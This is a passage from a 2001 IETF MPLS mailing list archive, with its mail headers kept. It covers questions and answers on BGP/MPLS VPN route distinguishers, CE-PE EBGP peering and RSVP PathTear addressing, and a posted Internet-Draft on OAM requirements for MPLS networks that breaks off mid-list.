	id <KV5KCC82>; Fri, 18 May 2001 16:54:43 -0400
Message-ID: <39469E08BD83D411A3D900204840EC5537DCBD@VIE-MSGUSR-01>
From: "Ju, Yu" <Yu.Ju@marconi.com>
To: "'mpls@UU.net'" <mpls@UU.NET>
Subject: Route Distinguisher in MPLS/BGP VPN
Date: Fri, 18 May 2001 16:55:14 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="ISO-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi,

I have the following question.

Suppose  CE routers Ca, Cb, Cc are connected to PE routers Pa, Pb, Pc
respectively and the CE routers are all in one VPN. Ca and Cb both advertise
a route to a prefix P.  Then PE routers Pa and Pb will advertise VPN-IPv4
route to Pc. If Pa and Pb use different route distinguisher for the same
prefix P, then at PE router Pc, which route should Pc choose? Note that the
two VPN-IPV4 route are not comparable since they have different route
distinguisher.

Thanks,

Yu


From owner-mpls@UU.NET  Fri May 18 17:45:11 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA17036
	for <mpls-archive@lists.ietf.org>; Fri, 18 May 2001 17:45:11 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkppe01013;
	Fri, 18 May 2001 21:44:45 GMT
Received: by mail-control.mail.uu.net 
	id QQkppe28016
	for mpls-outgoing; Fri, 18 May 2001 21:44:22 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkppe27857
	for <mpls@mail-control.mail.uu.net>; Fri, 18 May 2001 21:43:50 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkppe27427
	for <mpls@uu.net>; Fri, 18 May 2001 21:41:30 GMT
Received: from web13101.mail.yahoo.com by cmr2.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: web13101.mail.yahoo.com [216.136.174.146])
	id QQkppe02221
	for <mpls@uu.net>; Fri, 18 May 2001 21:41:30 GMT
Message-ID: <20010518214130.6348.qmail@web13101.mail.yahoo.com>
Received: from [38.186.47.9] by web13101.mail.yahoo.com; Fri, 18 May 2001 14:41:30 PDT
Date: Fri, 18 May 2001 14:41:30 -0700 (PDT)
From: Elwin Eliazer <elwinietf@yahoo.com>
Subject: route exchange between CE and PE routers ...
To: mpls@UU.NET, ppvpn@zephion.net
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi,

RFC2547bis suggests the use of EBGP between
CE and PE routers; In this case, how is the EBGP
peering setup if the CE router is with a local
(VPN) IP address?

Your response would be appreciated.

- Elwin.



=====
-------
Elwin Stelzer Eliazer
Corona Networks
-------

__________________________________________________
Do You Yahoo!?
Yahoo! Auctions - buy the things you want at great prices
http://auctions.yahoo.com/


From owner-mpls@UU.NET  Fri May 18 18:00:19 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA17337
	for <mpls-archive@lists.ietf.org>; Fri, 18 May 2001 18:00:19 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkppf13365;
	Fri, 18 May 2001 21:59:43 GMT
Received: by mail-control.mail.uu.net 
	id QQkppf02843
	for mpls-outgoing; Fri, 18 May 2001 21:59:08 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkppf02740
	for <mpls@mail-control.mail.uu.net>; Fri, 18 May 2001 21:58:46 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkppf17284
	for <mpls@UU.NET>; Fri, 18 May 2001 21:58:03 GMT
Received: from hotmail.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: f238.law11.hotmail.com [64.4.17.238])
	id QQkppf00729
	for <mpls@UU.NET>; Fri, 18 May 2001 21:58:03 GMT
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Fri, 18 May 2001 14:58:02 -0700
Received: from 64.172.123.102 by lw11fd.law11.hotmail.msn.com with HTTP;	Fri, 18 May 2001 21:58:02 GMT
X-Originating-IP: [64.172.123.102]
From: "krishna mohan doddapaneni" <d_krishna_mohan@hotmail.com>
To: Yu.Ju@marconi.com, mpls@UU.NET
Subject: Re: Route Distinguisher in MPLS/BGP VPN
Date: Fri, 18 May 2001 21:58:02 
Mime-Version: 1.0
Content-Type: text/html
Message-ID: <F238IPNTAbAWFswl3tT0000bf6d@hotmail.com>
X-OriginalArrivalTime: 18 May 2001 21:58:02.0715 (UTC) FILETIME=[9C2E2AB0:01C0DFE5]
Sender: owner-mpls@UU.NET
Precedence: bulk

<html><DIV>
<P>Hi Yu,</P>
<P>I dont think you can use overlapping addresses in the same VPN or in VPN's that communicate with each other.</P>
<P>Krishna<BR><BR></P></DIV>
<DIV></DIV>
<DIV></DIV>&gt;From: "Ju, Yu" <YU.JU@MARCONI.COM>
<DIV></DIV>&gt;To: "'mpls@UU.net'" <MPLS@UU.NET>
<DIV></DIV>&gt;Subject: Route Distinguisher in MPLS/BGP VPN 
<DIV></DIV>&gt;Date: Fri, 18 May 2001 16:55:14 -0400 
<DIV></DIV>&gt; 
<DIV></DIV>&gt;Hi, 
<DIV></DIV>&gt; 
<DIV></DIV>&gt;I have the following question. 
<DIV></DIV>&gt; 
<DIV></DIV>&gt;Suppose CE routers Ca, Cb, Cc are connected to PE routers Pa, Pb, Pc 
<DIV></DIV>&gt;respectively and the CE routers are all in one VPN. Ca and Cb both advertise 
<DIV></DIV>&gt;a route to a prefix P. Then PE routers Pa and Pb will advertise VPN-IPv4 
<DIV></DIV>&gt;route to Pc. If Pa and Pb use different route distinguisher for the same 
<DIV></DIV>&gt;prefix P, then at PE router Pc, which route should Pc choose? Note that the 
<DIV></DIV>&gt;two VPN-IPV4 route are not comparable since they have different route 
<DIV></DIV>&gt;distinguisher. 
<DIV></DIV>&gt; 
<DIV></DIV>&gt;Thanks, 
<DIV></DIV>&gt; 
<DIV></DIV>&gt;Yu 
<DIV></DIV><br clear=all><hr>Get Your Private, Free E-mail from MSN Hotmail at <a href="http://www.hotmail.com">http://www.hotmail.com</a>.<br></p></html>


From owner-mpls@UU.NET  Fri May 18 18:09:49 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA17465
	for <mpls-archive@lists.ietf.org>; Fri, 18 May 2001 18:09:49 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkppg03428;
	Fri, 18 May 2001 22:08:51 GMT
Received: by mail-control.mail.uu.net 
	id QQkppg09857
	for mpls-outgoing; Fri, 18 May 2001 22:08:18 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkppg09352
	for <mpls@mail-control.mail.uu.net>; Fri, 18 May 2001 22:08:04 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkppg27141
	for <mpls@UU.NET>; Fri, 18 May 2001 22:07:35 GMT
Received: from [207.53.175.56] by cmr2.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: [207.53.175.56])
	id QQkppg17883
	for <mpls@UU.NET>; Fri, 18 May 2001 22:07:34 GMT
Received: from hostr607.alcatel.com by [207.53.175.56]
          via smtpd (for cmr2.ash.ops.us.uu.net [198.5.241.40]) with SMTP; 18 May 2001 22:07:34 UT
Received: by steam.corp.packetengines.com with Internet Mail Service (5.5.2650.21)
	id <KRFNYHNB>; Fri, 18 May 2001 15:03:54 -0700
Message-ID: <A821AF2B0A8CD211B34900E0B104148C032B7C06@steam.corp.packetengines.com>
From: Marc Lewis <mlewis@ind.alcatel.com>
To: "'mpls@uu.net'" <mpls@UU.NET>
Subject: addressing on RSVP PTEAR message
Date: Fri, 18 May 2001 15:03:53 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

I'm asking this question here because the "action" seems to be here, not on
the RSVP list.

RSVP-TE Path Tear messages travel downstream toward all receivers.  They are
required to be forwarded hop-by-hop without delay.

My question is: Should the IP destination be the next hop, or the egress
router?  RFC2205 doesn't seem to be clear on this point.  If the answer is
the IPDA should be the egress router, then that presumes the packet needs to
have the IP Router Alert option (otherwise the packet would simply be routed
by transit LSRs and not passed to the local rsvp module).  I have been
working under the assumption that only PATH messages had the Router Alert
option turned on.  

The RFC clearly states that RESV messages do not use the Router Alert
option, as they are forwarded hop by hop using the route from the RSVP_HOP
objects in the PATH messages.  If the PTEAR uses the router alert option, it
would make sense that the RTEAR also uses the router alert option.  However,
that isn't consistant with the RESV *not* using router alert.

My understanding was that the PATH messages used IP Router Alert, and were
addressed to the egress router, so that the rsvp implementation could
determine if non-rsvp capable routers were in the upstream path.





From owner-mpls@UU.NET  Fri May 18 18:25:05 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA17776
	for <mpls-archive@lists.ietf.org>; Fri, 18 May 2001 18:25:05 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpph08173;
	Fri, 18 May 2001 22:24:16 GMT
Received: by mail-control.mail.uu.net 
	id QQkpph28458
	for mpls-outgoing; Fri, 18 May 2001 22:23:45 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkpph28418
	for <mpls@mail-control.mail.uu.net>; Fri, 18 May 2001 22:23:38 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkpph02399
	for <mpls@UU.NET>; Fri, 18 May 2001 22:23:05 GMT
Received: from smtp486-bms.mail.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: smtp486-bms.mail.com [165.251.44.40])
	id QQkpph21664
	for <mpls@UU.NET>; Fri, 18 May 2001 22:23:05 GMT
Received: from csrinivasan (unknown [12.34.209.74])
	by smtp486-bms.mail.com (SMTP server) with SMTP
	id BF17149927; Fri, 18 May 2001 18:23:04 -0400 (EDT)
From: "Cheenu Srinivasan" <cheenu@alphion.com>
To: "'Marc Lewis'" <mlewis@ind.alcatel.com>, "'mpls@uu.net'" <mpls@UU.NET>
Subject: RE: addressing on RSVP PTEAR message
Date: Fri, 18 May 2001 18:22:04 -0400
Message-ID: <003101c0dfe8$f810ef40$580aa8c0@csrinivasan>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Importance: Normal
In-Reply-To: <A821AF2B0A8CD211B34900E0B104148C032B7C06@steam.corp.packetengines.com>
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Marc Lewis wrote:
>
> RSVP-TE Path Tear messages travel downstream toward all 
> receivers.  They are
> required to be forwarded hop-by-hop without delay.
> 
> My question is: Should the IP destination be the next hop, or 
> the egress
> router?  RFC2205 doesn't seem to be clear on this point. 

IP destination address must be the session destination address; RA
option must be set. 2205 is quite explicit about it; see sec. 3.1.5 p42.

> If 
> the answer is
> the IPDA should be the egress router, then that presumes the 
> packet needs to
> have the IP Router Alert option (otherwise the packet would 
> simply be routed
> by transit LSRs and not passed to the local rsvp module).  I have been
> working under the assumption that only PATH messages had the 
> Router Alert
> option turned on.

Path, PathTear and ResvConf are sent with RA set.

> The RFC clearly states that RESV messages do not use the Router Alert
> option, as they are forwarded hop by hop using the route from 
> the RSVP_HOP
> objects in the PATH messages.  If the PTEAR uses the router 
> alert option, it
> would make sense that the RTEAR also uses the router alert 
> option.  However,
> that isn't consistant with the RESV *not* using router alert.

Resv travels upstream following Path state. At each hop the IP destination
address is that of the previous hop (derived from previously established
Path state).

> My understanding was that the PATH messages used IP Router 
> Alert, and were
> addressed to the egress router, so that the rsvp implementation could
> determine if non-rsvp capable routers were in the upstream path.

That's correct - one way is to compare incoming TTL with Send_TTL in the
common header.

Cheenu
 


From owner-mpls@UU.NET  Fri May 18 18:31:01 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA17927
	for <mpls-archive@lists.ietf.org>; Fri, 18 May 2001 18:31:00 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpph00304;
	Fri, 18 May 2001 22:29:44 GMT
Received: by mail-control.mail.uu.net 
	id QQkpph29964
	for mpls-outgoing; Fri, 18 May 2001 22:29:11 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkpph29953
	for <mpls@mail-control.mail.uu.net>; Fri, 18 May 2001 22:29:00 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkpph22287
	for <mpls@UU.NET>; Fri, 18 May 2001 22:27:31 GMT
Received: from usa04.ambernetworks.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [63.121.148.133])
	id QQkpph27391
	for <mpls@UU.NET>; Fri, 18 May 2001 22:27:31 GMT
Received: by usa04.ambernetworks.com with Internet Mail Service (5.5.2653.19)
	id <J2ZH5NL1>; Fri, 18 May 2001 15:26:16 -0700
Message-ID: <9F4704BE89F7D4118A0F0002B328C36C06209D@usa04.ambernetworks.com>
From: Peng Li <pli@ambernetworks.com>
To: "'Elwin Eliazer'" <elwinietf@yahoo.com>, mpls@UU.NET
Subject: RE: route exchange between CE and PE routers ...
Date: Fri, 18 May 2001 15:26:16 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi elwin,
  I think you can always create a static route for bgp neighbor address to
setup bgp connection between PE and CE routers.  It doesn't matter CE is in
a transit VPN or in a stub VPN.   

cheers,
peng

-----Original Message-----
From: Elwin Eliazer [mailto:elwinietf@yahoo.com]
Sent: Friday, May 18, 2001 2:42 PM
To: mpls@UU.NET; ppvpn@zephion.net
Subject: route exchange between CE and PE routers ...


Hi,

RFC2547bis suggests the use of EBGP between
CE and PE routers; In this case, how is the EBGP
peering setup if the CE router is with a local
(VPN) IP address?

Your response would be appreciated.

- Elwin.



=====
-------
Elwin Stelzer Eliazer
Corona Networks
-------

__________________________________________________
Do You Yahoo!?
Yahoo! Auctions - buy the things you want at great prices
http://auctions.yahoo.com/


From owner-mpls@UU.NET  Fri May 18 18:33:41 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA17984
	for <mpls-archive@lists.ietf.org>; Fri, 18 May 2001 18:33:40 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkppi02063;
	Fri, 18 May 2001 22:32:56 GMT
Received: by mail-control.mail.uu.net 
	id QQkppi00227
	for mpls-outgoing; Fri, 18 May 2001 22:32:30 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkppi00215
	for <mpls@mail-control.mail.uu.net>; Fri, 18 May 2001 22:32:23 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkppi29953
	for <mpls@uu.net>; Fri, 18 May 2001 22:31:14 GMT
Received: from mill.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mill.cisco.com [161.44.131.47])
	id QQkppi02689
	for <mpls@uu.net>; Fri, 18 May 2001 22:31:14 GMT
Received: (erosen@localhost) by mill.cisco.com (8.8.5-Cisco.1/8.6.5) id SAA08010 for mpls@uu.net; Fri, 18 May 2001 18:31:13 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkpph29975
	for <mpls@mail-control.mail.uu.net>; Fri, 18 May 2001 22:29:31 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkpph20065
	for <mpls@uu.net>; Fri, 18 May 2001 22:29:15 GMT
Received: from mother.pmc-sierra.bc.ca by cmr1.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: mother.pmc-sierra.bc.ca [216.241.224.12])
	id QQkpph29605
	for <mpls@uu.net>; Fri, 18 May 2001 22:29:15 GMT
Received: (qmail 3858 invoked by uid 104); 18 May 2001 22:29:14 -0000
Received: from Shahram_Davari@pmc-sierra.com by mother with qmail-scanner-0.93 (uvscan: v4.0.70/v4074. . Clean. Processed in 0.54548 secs); 18/05/2001 15:29:14
Received: from unknown (HELO procyon.pmc-sierra.bc.ca) (134.87.115.1)
  by mother.pmc-sierra.bc.ca with SMTP; 18 May 2001 22:29:13 -0000
Received: from bby1exi01.pmc-sierra.bc.ca (bby1exi01.pmc-sierra.bc.ca [216.241.231.251])
	by procyon.pmc-sierra.bc.ca (dave/8.11.2) with ESMTP id f4IMTD101910;
	Fri, 18 May 2001 15:29:13 -0700 (PDT)
Received: by bby1exi01.pmc-sierra.bc.ca with Internet Mail Service (5.5.2653.19)
	id <KHBJ1630>; Fri, 18 May 2001 15:32:28 -0700
Message-ID: <9DC5E2ABE65BD54CA9088DA3194461D6037A6C62@BBY1EXM01>
From: Shahram Davari <Shahram_Davari@pmc-sierra.com>
To: "'internet-drafts@ietf.org'" <internet-drafts@ietf.org>
Cc: "'mpls@uu.net'" <mpls@UU.NET>,
        "'te-wg@ops.ietf.org'"
	 <te-wg@ops.ietf.org>
Subject: draft-harrison-mpls-oam-req-00.txt
Date: Fri, 18 May 2001 15:32:27 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/mixed;
	boundary="----_=_NextPart_000_01C0DFEA.6AB17550"
Sender: owner-mpls@UU.NET
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_000_01C0DFEA.6AB17550
Content-Type: text/plain;
	charset="iso-8859-1"

Hi,

Please post the attached draft.

Summary:

This draft provides motivation and requirements for user-plane OAM 
(Operation and Maintenance) functionality in MPLS networks.
 
Motivation for this recommendation rose from Network operators' need 
or tools that ensure reliability and performance of MPLS LSPs 
(Label Switched Paths). User-plane OAM tools are required to verify 
that LSPs have been setup and are available to deliver customer data 
to target destinations according to QoS (Quality of Service) 
guarantees given in SLAs (Service Level Agreements). 
    
Requirements presented in this draft include but are not limited to: 
    
 . Tools to efficiently detect and localize defects in MPLS layer 
 . Mechanisms for fast defect notification 
 . Availability and performance criteria 
 . Trigger for corrective actions (e.g. protection switching) when 
     failures occur. 


Regards,
-Shahram Davari

 <<draft-harrison-mpls-oam-req-00.txt>> 

------_=_NextPart_000_01C0DFEA.6AB17550
Content-Type: text/plain;
	name="draft-harrison-mpls-oam-req-00.txt"
Content-Disposition: attachment;
	filename="draft-harrison-mpls-oam-req-00.txt"
Content-Transfer-Encoding: quoted-printable


                                                          Neil Harrison =

   Internet Draft                                          Peter Willis =

   Document: draft-harrison-mpls-oam-req-00.txt         British Telecom =

   Expires: November 2001                                               =

                                                         Shahram Davari =

                                                             PMC-Sierra =

                                                                        =

   Enriqu G. Cuevas                                      Ben Mack-Crane =

   AT&T Laboratories                                            Tellabs =

                                                                        =

   Elke Franze                                             Hiroshi Ohta =

   Deutsche Telekom                                                 NTT =

                                                                        =

   Tricci So                                          Sanford Goldfless =

   Caspian Network                                         Feihong Chen =

                                                                 Lucent =

                                                                        =

                                                               May 2001 =

   =20
   =20
                   Requirements for OAM in MPLS Networks=20
   =20
   =20
Status of this Memo=20
   =20
   This document is an Internet-Draft and is in full conformance=20
   with all provisions of Section 10 of RFC2026.=20
   =20
   =20
   Internet-Drafts are working documents of the Internet Engineering=20
   Task Force (IETF), its areas, and its working groups.  Note that     =
=20
   other groups may also distribute working documents as Internet-
   Drafts.=20
   =20
   Internet-Drafts are draft documents valid for a maximum of six=20
   months and may be updated, replaced, or obsoleted by other documents =

   at any time.  It is inappropriate to use Internet-Drafts as=20
   reference material or to cite them other than as "work in progress." =

   =20
   The list of current Internet-Drafts can be accessed at=20
        http://www.ietf.org/ietf/1id-abstracts.txt=20
   The list of Internet-Draft Shadow Directories can be accessed at=20
        http://www.ietf.org/shadow.html.=20
   =20
   =20
Copyright Notice=20
   =20
   Copyright(C) The Internet Society (2001). All Rights Reserved.=20
   =20
   =20
Abstract=20
=20
   This draft provides motivation and requirements for user-plane OAM=20
   (Operation and Maintenance) functionality in MPLS networks.=20
    =20
   Harrison et.al       Expires November 2001                  Page 1 =
=0C
                Requirements for OAM in MPLS Networks        May 2001=20
   =20
   Motivation for this recommendation rose from Network operators' need =

   for tools that ensure reliability and performance of MPLS LSPs=20
   (Label Switched Paths). User-plane OAM tools are required to verify=20
   that LSPs have been setup and are available to deliver customer data =

   to target destinations according to QoS (Quality of Service)=20
   guarantees given in SLAs (Service Level Agreements).=20
   =20
   Requirements presented in this draft include but are not limited to: =

   =20
     . Tools to efficiently detect and localize defects in MPLS layer=20
     . Mechanisms for fast defect notification=20
     . Availability and performance criteria=20
     . Trigger for corrective actions (e.g. protection switching) when=20
        failures occur.=20
=20
=20
Table of Contents=20
   =20
   1. Introduction..................................................2=20
   2. Definitions...................................................2=20
   3. Motivation for MPLS OAM functions.............................3=20
   4. Requirements for OAM functions................................5=20
   5. Security Considerations.......................................6=20
   6. References....................................................6=20
   7. Author's Addresses............................................7=20
   =20
   =20
   Conventions used in this document=20
   =20
   The key words "MUST", "MUST NOT", "REQUIRED", "SHALL", "SHALL NOT",=20
   "SHOULD", "SHOULD NOT", "RECOMMENDED",  "MAY", and "OPTIONAL" in=20
   this document are to be interpreted as described in RFC-2119 [1].=20
   =20
   =20
1. Introduction=20
   =20
   This Internet draft provides motivation and requirements for OAM=20
   (Operation and Maintenance) for the user-plane in MPLS networks. It=20
   is recognized that OAM functionality is important in public networks =

   for ease of network operation, for verifying network performance and =

   to reduce operational costs. OAM functionality is especially=20
   important for networks, which are required to deliver (and hence be=20
   measurable against) QoS (Quality of Service) and availability=20
   performance parameters/objectives.=20
   =20
   =20
2. Definitions=20
   =20
   This document introduces some new terminology, which is required to=20
   discuss the functional network components associated with OAM.=20
   =20
    =20
   Harrison et. al.      Expires August 2001                   Page 2 =
=0C
                Requirements for OAM in MPLS Networks        May 2001=20
   =20
   =20
       Functional Architecture                    Meaning=20
       Term                        =20
       ------------------                   ------------------=20
       =20
       Client/server               A term referring to the transparent=20
       (relationship between       transport of a client (ie higher)=20
       layer networks)             layer link connection by a server=20
                                   (ie lower) layer network trail.=20
                                   =20
       Link connection             A partition of a layer N trail that=20
                                   exists between two logically=20
                                   adjacent switching points within the =

                                   layer N network.=20
                                   =20
       LSP Tunnel                  An LSP Tunnel is an LSP with well-
                                   defined source (ingress point) and=20
                                   sink (egress point)=20
                                   =20
       Subnetwork                  A subnetwork is a contiguous=20
                                   topological region of a network=20
                                   delimited by its set of peripheral=20
                                   access points, and is characterized=20
                                   by the possible routing across the=20
                                   subnetwork between those access=20
                                   points.  A network is the largest=20
                                   subnetwork and a node is the=20
                                   smallest subnetwork (at least in=20
                                   practical physical terms, though=20
                                   there are smaller sub-networks=20
                                   within nodes).=20
                                   =20
       Trail                       A generic transport entity at layer=20
                                   N which is composed of a client=20
                                   payload (which can be a packet from=20
                                   a client at higher layer N-1) with=20
                                   specific overhead added at layer N=20
                                   to ensure the forwarding integrity=20
                                   of the server transport entity at=20
                                   layer N.=20
                                   =20
       Trail termination point     A source or sink point of a trail at =

                                   layer N, at which the trail overhead =

                                   is added or removed respectively.  A =

                                   trail termination point must have a=20
                                   unique means of identification=20
                                   within the layer network.=20
                                   =20
   =20
   =20
   =20
3. Motivation for MPLS OAM functions=20
   =20
    =20
   Harrison et. al.      Expires August 2001                   Page 3 =
=0C
                Requirements for OAM in MPLS Networks        May 2001=20
   =20
   It is recognized that OAM functionality is important in public=20
   networks to ensure agreed upon SLAs, reduce operational costs,=20
   verify network performance, and facilitate network operations. =20
   Network operators need OAM functionality to:=20
   =20
     1. Detect MPLS user-plane defects: MPLS introduces a unique=20
        functional layer in the network. MPLS layer OAM functionality=20
        is not a substitute for lower layer OAM (also known as server=20
        layer) or higher layer OAM (also known as client layer).=20
        Moreover MPLS nesting capability (realized through label stack=20
        encoding [5]) allows LSPs to create layer networks in their own =

        right, and hence will have defects that are specific to the=20
        MPLS LSP layer networks. MPLS user-plane defects are those that =

        are encountered during transport of customer data. Although=20
        some MPLS control-plane OAM functions may be available, but=20
        network Operators cannot rely exclusively on fate sharing with=20
        the control plane to detect all transport defects, because:=20
          a. There will not be full commonality of all components=20
             traversed by an LSP and the control plane. Therefore=20
             control plane survival is not authoritative indication of=20
             the health of an LSP.=20
          b. It is possible for an MPLS network not to have a control-
             plane (when LSPs are setup statically) or have user data=20
             transported on paths that are not used by signaling (when=20
             LSPs are not routed hop-by-hop).=20
   =20
     2. Verify whether Availability and Quality of Service guarantees=20
        given in SLAs (Service Level Agreements) are in fact being met=20
        by the connection. The ability to determine availability=20
        performance to achieve QoS for satisfying SLA is critical to=20
        network operators who wish to deploy numerous LSPs and dynamic=20
        routing in core MPLS networks.=20
   =20
     3. Reduce operating costs, by allowing efficient detection and=20
        handling of defects.  Lack of efficient automatic defect=20
        detection forces operators to increase their engineering and=20
        support workforce, hence increase operating costs=20
   =20
     4. Determine LSP availability and performance reliably and=20
        accurately for accounting/billing purpose. This is required to=20
        ensure that customers are not inappropriately charged for=20
        degraded service or service outages.=20
   =20
     5. Permit rapid localization of defects.=20
   =20
     6. Reduce the duration of defects and thus improves the=20
        availability performance.=20
   =20
     7. Protect customer traffic by detecting traffic mis-connections=20
        so that customer=92s confidential data are not delivered to =
wrong=20
        destinations (which may otherwise be undetectable).=20
   =20
     8. Help to decrease the number of defects that are not apparent=20
        until the customer reports a problem.=20
    =20
   Harrison et. al.      Expires August 2001                   Page 4 =
=0C
                Requirements for OAM in MPLS Networks        May 2001=20
   =20
   =20
     9. Allow taking necessary actions against defects even if a=20
        network element (NE) fails without notifying this failure to=20
        NMS (silent failure) so that consequent defects on LSPs can be=20
        detected.=20
=20
     10. Improve security of MPLS networks, by detecting mis-
        connections, and therefore helping prevent a customer=92s =
traffic=20
        being exposed to another party.=20
   =20
   =20
4. Requirements for OAM functions=20
   =20
   This section describes the high level requirements that have been=20
   identified and requested by a number of service providers. The=20
   requirements include but are not limited to:=20
   =20
     1. Both on demand and continuous connectivity verification of LSPs =

        to confirm that defects do not exist on the target LSPs.=20
   =20
     2. If a defect occurs, it is necessary to detect, notify and=20
        localize it immediately and to take necessary actions.  This=20
        facilitates minimizing the interruption of service by providing =

        the network with sufficient information to take corrective=20
        action to bypass the defect (protection switching, re-routing=20
        etc.), and to minimize the time to correct the defect and=20
        return the failed resource to the available state.  It is=20
        necessary that defects be detected and notified automatically=20
        without operator intervention for this purpose.=20
   =20
     3. A defect event in a given layer network should not cause=20
        multiple alarm events to be raised (in the same layer network=20
        or client layer networks).=20
   =20
     4. OAM functions should be able to perform stably in large scale=20
        networks.=20
   =20
     5. Necessary operator actions such as setting up and activation of =

        MPLS OAM functions should be minimized in order to use MPLS OAM =

        functions easily even in large scale networks where the number=20
        of LSPs tends to be large.=20
   =20
     6. OAM function must be optional to the operator and only be used=20
        by the networks that need it.  Operators choose which function=20
        to use and which LSP to apply the OAM function.=20
   =20
     7. OAM function must be backward compatible.  LSRs that do not=20
        support such function must silently discard or pass through the =

